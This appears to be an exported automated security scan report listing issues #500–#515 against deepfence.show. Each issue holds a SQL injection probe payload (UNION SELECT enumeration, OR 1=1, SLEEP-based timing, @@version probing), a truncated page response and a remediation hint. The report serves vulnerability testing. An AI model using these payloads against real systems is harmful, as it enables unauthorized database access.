deepfence.io
CWE-ID CWE-89
Issue Number #500
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io and (select substring(@@version,3,1))='X'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #501
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io -1 UNION SELECT 1 INTO @,@
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #502
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #503
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #504
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io 1' ORDER BY 2--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #505
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.ioORDER BY 26#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #506
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' OR 1 -- -
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #507
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12-
-
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #508
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io and (select substring(@@version,1,1))='M'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #509
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #510Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #511
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #512
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #513
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ' AnD SLEEP(5) ANd '1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #514
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioor 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #515
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or "
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
